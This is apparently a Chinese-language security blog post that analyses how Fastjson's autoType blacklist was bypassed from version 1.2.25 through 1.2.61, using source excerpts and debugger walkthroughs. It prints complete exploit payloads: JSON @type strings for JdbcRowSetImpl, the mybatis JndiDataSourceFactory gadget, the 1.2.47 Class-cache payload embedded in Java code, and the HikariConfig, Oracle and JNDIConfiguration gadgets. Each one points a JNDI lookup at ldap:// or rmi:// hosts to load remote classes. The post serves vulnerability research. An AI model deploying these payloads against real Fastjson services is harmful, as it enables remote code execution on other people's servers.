FastJson各版本绕过分析
这篇主要是讲一下Fastjson中版本>=1.2.25后补丁的绕过方式
tips: 都必须开启AutoTypeSupport才能成功
漏洞修复
想要绕过后续版本,我们就一定要知道哪里做了修改
修补方案就是将DefaultJSONParser.parseObject()
函数中的TypeUtils.loadClass
替换为checkAutoType()
函数
checkAutoType()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } final String className = typeName.replace('$' , '.' ); if (autoTypeSupport || expectClass != null ) { for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } if (clazz != null ) { if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) ) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } } } if (!autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } return clazz; }
为了梳理一下整个流程,这里准备了一个流程图
简单来说,新版本对fastjson反序列化的限制就是使用黑白名单的方式进行过滤,acceptList为白名单(默认为空)。denyList为黑名单(默认不为空)
默认autoTypeSupport为false,即先执行黑名单过滤,遍历denyList
黑名单denyList过滤列表如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
若正常执行1.2.24payload,则会爆出 autoType 不支持该类的错误
小结
1.2.24之后的版本后,都是使用checkAutoType()
函数,用黑白名单的方式来防御Fastjson反序列化漏洞,因此后面不同补丁的绕过都是基于黑名单 的绕过
1.2.25 - 1.2.41 补丁绕过
若按照以前的EXP直接运行,则爆出以下错误,说不支持该类,被黑名单ban了
绕过
这里只需要简单绕过以下,尝试在 com.sun.rowset.JdbcRowSetImpl 前面加一个 L,结尾加上 ; 绕过
并且记住开启AutoTypeSupport
运行后即可绕过黑名单,成功执行payload
断点分析
黑名单绕过
我们在checkAutoType
处下一个断点,跟着看一下怎么绕过的
在如下代码处,首先会进行黑名单校验,之前我们的异常就是在此处抛出的
由于我们对类名加上了L
和;
,所以这里被不会被拦截
1 2 3 4 5 6 for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } }
下一步进入以下部分,这里是一个利用点 ,后面再说
这里会从Map缓存中查找此类,但是我们之前并没有加载过它,就无法找到
1 2 3 4 5 6 7 8 9 10 11 12 Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
下一步if条件中!autoTypeSupport
,是false的,因此这里并没有什么影响
1 2 3 if (!autoTypeSupport) { ...... }
最后走到这里,我们的autoTypeSupport
为true,直接走入核心方法TypeUtils.loadClass
1 2 3 if (autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); }
类加载
在loadClass
方法中,存在这么一个地方,它的功能就是,若以L
开头;
结尾,则会去除该开头和该结尾,恢复我们正常的类名
后续的类加载过程就不再多说
1 2 3 4 if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); }
1.2.25-1.2.42 补丁绕过
新一个EXP是这样的,后续的补丁,会在黑名单过滤之前,先将开头L
和结尾;
提取出来,若我们写两个L
和两个;
,即可绕过限制
1 2 3 4 5 { "@type" :"LLcom.sun.rowset.JdbcRowSetImpl;;" , "dataSourceName" :"ldap://localhost:1389/Exploit" , "autoCommit" :true }
1.2.25-1.2.43 补丁绕过
补丁
在checkAutoType()函数中,修改的是直接对类名以”LL”开头的直接报错
绕过
先给出EXP
1 2 3 4 5 { "@type" :"[com.sun.rowset.JdbcRowSetImpl" [{, "dataSourceName" :"ldap://localhost:1389/Exploit" , "autoCommit" :true }
在1.2.43之前,运行后是可以执行恶意代码的
断点调试
我们断点下到以下部分,这里会检查,@type
的第一个字符是不是[
,若第一个字符是[
,则会删除第一个[
,提取出来其中的类名,调用Array.newInstance
,并getClass
来获取返回类
1 2 3 4 if (className.charAt(0 ) == '[' ){ Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); }
然后会进入checkAutoType
函数,对[com.sun.rowset.JdbcRowSetImpl
这个函数名进行黑白名单验证,类名前有一个[
,所以当然不会被拦截
然后就该进行反序列化的操作了,进入到deserialize
中
在该方法中,我们之前的报错提示就是从DefaultJSONParser.parseArray()
里面抛出的,进该方法的内部分析一下
这里就对我们后面的字符进行判断,判断其是否为[
和{
,这里就是我们报错的原因,只需要将其一一满足即可
1 2 3 if (token != JSONToken.LBRACKET) { throw new JSONException ("exepct '[', but " + JSONToken.name(token) + ", " + lexer.info()); }
1.2.25-1.2.45补丁绕过
补丁
调试checkAutoType()
函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常
绕过
前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本
pom.xml文件导入如下(不知道为什么3.5.2版本也能行)
1 2 3 4 5 <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5 .2 </version> </dependency>
绕过EXP如下,其中连ldap或rmi都可
1 2 3 4 5 6 7 { "@type" :"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" :"ldap://localhost:1389/Exploit" } }
运行后可以成功执行恶意命令
断点调试
从EXP分析,可以知道我们要去`JndiDataSourceFactory`这个类,并且寻找它对`properties`进行赋值的地方,其代码如下
我把断点下载setter方法中,在该方法中,我们找到了熟悉的JNDI注入,即initCtx.lookup()
,其中参数由我们输入的properties属性中的data_source值获取的
所以我们可以很简单的就绕过该补丁限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public void setProperties (Properties properties) { try { InitialContext initCtx; Properties env = getEnvProperties(properties); if (env == null ) { initCtx = new InitialContext (); } else { initCtx = new InitialContext (env); } if (properties.containsKey(INITIAL_CONTEXT) && properties.containsKey(DATA_SOURCE)) { Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT)); dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE)); } else if (properties.containsKey(DATA_SOURCE)) { dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE)); } } catch (NamingException e) { throw new DataSourceException ("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e); } }
1.2.25-1.2.47补丁绕过
分析
在1.2.24版本之后,当在DefaultJSONParser#parseObject
方法中检测到@type
关键字后,会调用checkAutoType
方法对所加载的类有所限制。而在1.2.24版本前,这个位置直接进行了loadclass
。
1 2 3 4 5 if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"' ); Class<?> clazz = config.checkAutoType(typeName, null ); ...... }
下面即为ParserConfig#checkAutoType
的代码,因为他的逻辑比较复杂,因此我跟着组长搞了一个流程图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } final String className = typeName.replace('$' , '.' ); if (autoTypeSupport || expectClass != null ) { for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { for (int i = 0 ; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } for (int i = 0 ; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } if (clazz != null ) { if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) ) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } } } if (!autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } return clazz; }
其中,黄色部分为,可以实现类加载的地方
我们这里不分析其他地方,只在第二个返回类的地方做文章
首先他会从缓存中找有没有这个类,如果没有找到就从deserializers中继续找,这里它也是一个缓存,如果找到的话则会判断是否期望类不为空且与期望类不一致
,如果判断为false的话就会返回这个类。这个条件在默认条件下为flase,因此我们只需要在缓存中存在这个类,即可返回这个类。
1 2 3 4 5 6 7 8 9 10 11 12 Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
读取缓存时,是从mappings
中寻找,所以我们需要寻找,在什么地方将类存入mappings
的
1 2 3 public static Class<?> getClassFromMapping(String className) { return mappings.get(className); }
我们找到的可控的方法,为TypeUtils#loadClass
方法
这代表的是,如果之前加载过这个类,就放入缓存中,下次加载的时候直接从缓存中拿出
1 2 3 4 5 6 7 8 9 10 11 public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className == null || className.length() == 0 ) { return null ; } Class<?> clazz = mappings.get(className); ...... return clazz; }
然后找哪个地方调用了loadClass
方法,找到的可利用方法为MiscCodec#deserialze
在clazz等于Class.class的情况下,会调用loadClass
1 2 3 4 5 6 7 8 9 public <T> T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) { ...... if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); } ...... }
这个**MiscCodec**
是什么呢,它继承了ObjectSerializer
与ObjectDeserializer
,是一个序列化/反序列化器
1 public class MiscCodec implements ObjectSerializer , ObjectDeserializer
在DefaultJSONParser#parseObject
进行反序列化的时候,使用的是JavaBeanDeserializer
反序列化器
但是这个反序列化器,我们可以看到,是从config
找到的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 try { Object instance = null ; ObjectDeserializer deserializer = this .config.getDeserializer(clazz); if (deserializer instanceof JavaBeanDeserializer) { instance = ((JavaBeanDeserializer) deserializer).createInstance(this , clazz); } if (instance == null ) { if (clazz == Cloneable.class) { instance = new HashMap (); } else if ("java.util.Collections$EmptyMap" .equals(typeName)) { instance = Collections.emptyMap(); } else { instance = clazz.newInstance(); } }
在进行初始化的时候,它会把对应类所对应的反序列化器放进去
其中很多都用的是MiscCodec
的反序列化器,Class.class就是它
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 private ParserConfig (ASMDeserializerFactory asmFactory, ClassLoader parentClassLoader) { if (asmFactory == null && !ASMUtils.IS_ANDROID) { try { if (parentClassLoader == null ) { asmFactory = new ASMDeserializerFactory (new ASMClassLoader ()); } else { asmFactory = new ASMDeserializerFactory (parentClassLoader); } } catch (ExceptionInInitializerError error) { } catch (AccessControlException error) { } catch (NoClassDefFoundError error) { } } this .asmFactory = asmFactory; if (asmFactory == null ) { asmEnable = false ; } deserializers.put(SimpleDateFormat.class, MiscCodec.instance); deserializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp); deserializers.put(java.sql.Date.class, SqlDateDeserializer.instance); deserializers.put(java.sql.Time.class, TimeDeserializer.instance); deserializers.put(java.util.Date.class, DateCodec.instance); deserializers.put(Calendar.class, CalendarCodec.instance); deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance); deserializers.put(JSONObject.class, MapDeserializer.instance); deserializers.put(JSONArray.class, CollectionCodec.instance); deserializers.put(Map.class, MapDeserializer.instance); deserializers.put(HashMap.class, MapDeserializer.instance); deserializers.put(LinkedHashMap.class, MapDeserializer.instance); deserializers.put(TreeMap.class, MapDeserializer.instance); deserializers.put(ConcurrentMap.class, MapDeserializer.instance); deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance); deserializers.put(Collection.class, CollectionCodec.instance); deserializers.put(List.class, CollectionCodec.instance); deserializers.put(ArrayList.class, CollectionCodec.instance); deserializers.put(Object.class, JavaObjectDeserializer.instance); deserializers.put(String.class, StringCodec.instance); deserializers.put(StringBuffer.class, StringCodec.instance); deserializers.put(StringBuilder.class, StringCodec.instance); deserializers.put(char .class, CharacterCodec.instance); deserializers.put(Character.class, CharacterCodec.instance); deserializers.put(byte .class, NumberDeserializer.instance); deserializers.put(Byte.class, NumberDeserializer.instance); deserializers.put(short .class, NumberDeserializer.instance); deserializers.put(Short.class, NumberDeserializer.instance); deserializers.put(int .class, IntegerCodec.instance); deserializers.put(Integer.class, IntegerCodec.instance); deserializers.put(long .class, LongCodec.instance); deserializers.put(Long.class, LongCodec.instance); deserializers.put(BigInteger.class, BigIntegerCodec.instance); deserializers.put(BigDecimal.class, BigDecimalCodec.instance); deserializers.put(float .class, FloatCodec.instance); deserializers.put(Float.class, FloatCodec.instance); deserializers.put(double .class, NumberDeserializer.instance); deserializers.put(Double.class, NumberDeserializer.instance); deserializers.put(boolean .class, BooleanCodec.instance); deserializers.put(Boolean.class, BooleanCodec.instance); deserializers.put(Class.class, MiscCodec.instance); deserializers.put(char [].class, new CharArrayCodec ()); deserializers.put(AtomicBoolean.class, BooleanCodec.instance); deserializers.put(AtomicInteger.class, IntegerCodec.instance); deserializers.put(AtomicLong.class, LongCodec.instance); deserializers.put(AtomicReference.class, ReferenceCodec.instance); deserializers.put(WeakReference.class, ReferenceCodec.instance); deserializers.put(SoftReference.class, ReferenceCodec.instance); deserializers.put(UUID.class, MiscCodec.instance); deserializers.put(TimeZone.class, MiscCodec.instance); deserializers.put(Locale.class, MiscCodec.instance); deserializers.put(Currency.class, MiscCodec.instance); deserializers.put(InetAddress.class, MiscCodec.instance); deserializers.put(Inet4Address.class, MiscCodec.instance); deserializers.put(Inet6Address.class, MiscCodec.instance); deserializers.put(InetSocketAddress.class, MiscCodec.instance); deserializers.put(File.class, MiscCodec.instance); deserializers.put(URI.class, MiscCodec.instance); deserializers.put(URL.class, MiscCodec.instance); deserializers.put(Pattern.class, MiscCodec.instance); deserializers.put(Charset.class, MiscCodec.instance); deserializers.put(JSONPath.class, MiscCodec.instance); deserializers.put(Number.class, NumberDeserializer.instance); deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance); deserializers.put(AtomicLongArray.class, AtomicCodec.instance); deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance); deserializers.put(Serializable.class, JavaObjectDeserializer.instance); deserializers.put(Cloneable.class, JavaObjectDeserializer.instance); deserializers.put(Comparable.class, JavaObjectDeserializer.instance); deserializers.put(Closeable.class, JavaObjectDeserializer.instance); addItemsToDeny(DENYS); addItemsToAccept(AUTO_TYPE_ACCEPT_LIST); }
这里这个流程就走完了,我们加载Class.class
,使用MiscCodec
反序列化器,调用loadClass
,将类名传入,并放入缓冲区中
当我们再次对类进行加载的时候,就直接从缓存中返回类
实现
第一步 反序列化一个Class类,值为恶意类
第二步 接着用之前的payload
加载第一个Class类时候设置类为Class类,后面的参数名就叫val
即可,若不为它就会报错
第二个类直接使用之前payload即可
1 2 3 4 5 6 public class Fastjson1227 { public static void main (String[] args) throws Exception { String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/KemDnGOe\",\"autoCommit\":false}}" ; JSON.parseObject(s); } }
最后成功加载恶意类
补丁分析
由于1.2.47这个洞能够在不开启AutoTypeSupport实现RCE,因此危害十分巨大,我们看看是怎样修的
1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了。
1 2 3 4 5 6 7 8 public static Class<?> loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, true ); } public static Class<?> loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, false ); }
Fastjson <= 1.2.61 通杀
Fastjson1.2.5 <= 1.2.59
1 2 {"@type" :"com.zaxxer.hikari.HikariConfig" ,"metricRegistry" :"ldap://localhost:1389/Exploit" } {"@type" :"com.zaxxer.hikari.HikariConfig" ,"healthCheckRegistry" :"ldap://localhost:1389/Exploit" }
Fastjson1.2.5 <= 1.2.60
1 2 3 {"@type" :"oracle.jdbc.connector.OracleManagedConnectionFactory" ,"xaDataSourceName" :"rmi://10.10.20.166:1099/ExportObject" } {"@type" :"org.apache.commons.configuration.JNDIConfiguration" ,"prefix" :"ldap://10.10.20.166:1389/ExportObject" }
Fastjson1.2.5 <= 1.2.60
1 {"@type" :"org.apache.commons.proxy.provider.remoting.SessionBeanProvider" ,"jndiName" :"ldap://localhost:1389/ExportObject" }